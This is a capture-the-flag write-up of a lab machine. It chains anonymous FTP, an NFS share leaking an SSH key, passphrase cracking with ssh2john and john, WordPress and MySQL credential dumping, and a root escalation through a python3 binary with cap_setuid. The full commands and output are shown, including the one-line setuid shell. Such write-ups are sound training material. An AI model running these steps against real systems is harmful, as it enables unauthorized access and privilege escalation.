Overview

The machine starts by anonymous ftp that exposes a password wordlist and an nfs share that leaks a passphrase-protected ssh private key for user1, cracking the passphrase with ssh2john and john to get shell as user1 to find wordpress credentials in wp-config.php and dumping the mysql database to get credentials for user3. Pivoting to user3 reveals a python3 binary with cap_setuid in the home directory, which is abused to escalate to shell as root.

Enumeration

We start with nmap scan as usual

We've got multiple open ports:

  • FTP with anonymous auth enabled
  • SSH
  • HTTP running the Apache default page
  • NFS

FTP

I will start with the low-hanging fruit, which is the FTP anonymous auth

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension]
└──╼ [★]$ lftp -u Anonymous 10.1.227.19
Password:
lftp Anonymous@10.1.227.19:~> ls
-rw-r--r-- 1 0 0 202 Sep 21 2025 pwlist.txt
lftp Anonymous@10.1.227.19:/> get pwlist.txt
202 bytes transferred
lftp Anonymous@10.1.227.19:/> exit

The file looks like a passwords wordlist that we might need to crack something later

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension]
└──╼ [★]$ wc -l pwlist.txt
62 pwlist.txt

NFS

Looking for NFS right after this, we find that there is a folder /srv/nfs/user1 that we can mount

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension]
└──╼ [★]$ showmount -e 10.1.227.19
Export list for 10.1.227.19:
/srv/nfs/user1 *

So we mount that folder locally to read it

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension]
└──╼ [★]$ sudo mount -t nfs 10.1.227.19:/ user1/

Looking within that folder, it has ssh keys owned by the user _laurel (note that we might need it later)

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension/user1/srv/nfs/user1]
└──╼ [★]$ ls -la
total 16
drwxr-xr-x 2 _laurel scanner 4096 Sep 21 2025 .
drwxr-xr-x 3 root root 4096 Sep 19 2025 ..
-rw-r--r-- 1 _laurel scanner 2655 Sep 21 2025 id_rsa
-rw-r--r-- 1 _laurel scanner 574 Sep 21 2025 id_rsa.pub

Looking at the public key, it is for the user user1, so let's use the private key to connect

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension]
└──╼ [★]$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM+ew08ndVI6aGrld5PZLbgK3Z+5nOl0UQthrmm1q/HHdv9C7MyqYYMcqxWpe1+IOmWYVOU45I9CJ58l71QP5dZ2QqQqZ64ueqChRST0w5QbYDiRaYCt1bjM
ClyZ2psf506Mujt1f1cDHS60ZPd/0/t1tqX+9TDWQC99xGaGsakOOil05ZhKAv8J37paItRR0ne7cSjG2+Qe8MOJSSnHGmIe5GnQ1PXpqiLPcD8Jm4t4IVCqCXF1Naz/nT94ZjTyywDuZovbVto9bxQYzrhygj
qdiVaYhxbfVH61W+B3g+cRkjuahpPrH5yU7XXO9ikHRgQ76Oz5k0t9hv63wYZgUQxWtK7eh0GlkBm7gCDfw4eEvPFsWkWCbl/tWIfdmmUGKCsU13Zb1dEJUQLW49A8DcuD6dx7w4pwsn+1Tq0oVVMpBqR4kdf3
LGr0lhlgB+5lJ9jtcFKAsbeNoqFGhDqBomN3/ReKjjixts6deTRconUSXBb4Ua7xC8PXtzSzTuXjk= user1@ip-10-1-25-146

First, modify the permissions

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension]
└──╼ [★]$ chmod 600 id_rsa

SSH as user1

Trying to auth using the private key, it is protected with a passphrase, so maybe this is why there is a password list

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension]
└──╼ [★]$ ssh`ssh': ssh -i id_rsa user1@10.1.227.19
Enter passphrase for key 'id_rsa' :
user1@10.1.227.19: Permission denied (publickey).

We extract the hash using ssh2john

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension]
└──╼ [★]$ ssh2john id_rsa > passphrase.hash

Tried to crack using the list we're given, but it didn't crack it, so I moved to rockyou instead

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension]
└──╼ [★]$ john passphrase.hash --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sammie1 (id_rsa)

Then authenticating after, as you can see, we are user1 on the box

bash 
┌─[]─[10.200.87.8]─[jimmex@attacker]─[~/HSM/Ascension]
└──╼ [★]$ ssh -i id_rsa user1@10.1.227.19
Enter passphrase for key 'id_rsa' :
Enter passphrase for key 'id_rsa' :
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-1012-aws x86_64)

 < SNIP>

 Last login: Thu Aug 27 09:54:39 2026 from 10.0.0.247
user1@ip-10-1-227-19:~$

Looking around, we find the folder /opt has a lot of folders numbered from user1 to 3 and root and ftpuser

bash 
user1@ip-10-1-227-19:/opt$ ls
ftpuser root user1 user2 user3
user1@ip-10-1-227-19:/opt$

The user1 has the flag1

bash 
user1@ip-10-1-227-19:/opt/user1$ ls
flag1
user1@ip-10-1-227-19:/opt/user1$ cat flag1 
RkxBRzF7aGpzeXU4OTIzMzRoam9obnNkOHkyOTNoNH0=

Shell as user3

Earlier, port 80 showed the Apache default page, so I wanted to see if there is any other pages hosted that might be useful, and as you can see, there is WordPress on the system

bash 
user1@ip-10-1-227-19:/var/www/html$ ls
index.html   readme.html      wp-blog-header.php    wp-config.php  wp-includes        wp-login.php     wp-signup.php
index.php    wp-activate.php  wp-comments-post.php  wp-content     wp-links-opml.php  wp-mail.php      wp-trackback.php
license.txt  wp-admin         wp-config-sample.php  wp-cron.php    wp-load.php        wp-settings.php  xmlrpc.php
user1@ip-10-1-227-19:/var/www/html$

Looking in the wp-config.php file, there are creds for the SQL instance running locally on the system, so let's connect

bash 
user1@ip-10-1-227-19:/var/www/html$ cat wp-config.php 


< ?php


define('DB_NAME', 'wordpress');


define('DB_USER', 'wpuser');


define('DB_PASSWORD', 'wppassword');


define('DB_HOST', 'localhost');


?>

As you can see, there is a WordPress database having 2 tables, flags and users

bash 
mysql> use wordpress;
Database changed
mysql> show tables;
+---------------------+
| Tables_in_wordpress |
+---------------------+
| flags |
| users |
+---------------------+
2 rows in set (0.00 sec)

First, reading the flags table, we don't know which flag this is, so I will mass submit it, and it was flag 6

bash 
mysql> select * from flags;
+----+------------------------------------------+
| id | flag |
+----+------------------------------------------+
| 1 | RkxBRzR7d2ViamhuYXNkMzg5MjM0a25kam9pM2R9 |
+----+------------------------------------------+
1 row in set (0.00 sec)

Reading the users right after, we get the user3 password

bash 
mysql> select * from users;
+----+----------+---------------+
| id | username | password |
+----+----------+---------------+
| 1 | user3 | user3password |
+----+----------+---------------+
1 row in set (0.01 sec)

mysql>

Trying it for the system user, also it is working, and we get flag5 under /opt/user3/flag5

yaml 
user1@ip-10-1-227-19:/var/www/html$ su user3
Password: 
user3@ip-10-1-227-19:/var/www/html$ cat /opt/user3/flag5 
RkxBRzV7am9obmFiY2RzamhmczgyMzRram5ib3p9
user3@ip-10-1-227-19:/var/www/html$

Shell as root

Listing if this user can run anything as sudo, but he can't

bash 
user3@ip-10-1-227-19:/opt$ sudo -l
[sudo] password for user3: 
Sorry, user user3 may not run sudo on ip-10-1-227-19.

Listing the files this user owns, not a lot, but this /home/user3/python3 file is weird to be in the home directory

bash 
user3@ip-10-1-227-19:/$ find / -type f -user user3 2>/dev/null | grep -v proc
/home/user3/python3
/home/user3/.profile
/home/user3/.bashrc
/home/user3/.bash_logout
/opt/user3/flag5

Listing the capabilities on this file, it has cap_setuid=ep, which means this file sets the UID to 0 when executed, so it is a straight root

bash 
user3@ip-10-1-227-19:~$ getcap python3
ls -la python3
python3 cap_setuid=ep
-rwxr-xr-x 1 user3 user3 8021824 Sep 21 2025 python3

We'll execute a bash command to spawn a shell, and we're root

bash 
user3@ip-10-1-227-19:~$ ./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@ip-10-1-227-19:~# whoami
root

Path

Pasted image 20260827133502.png

Resources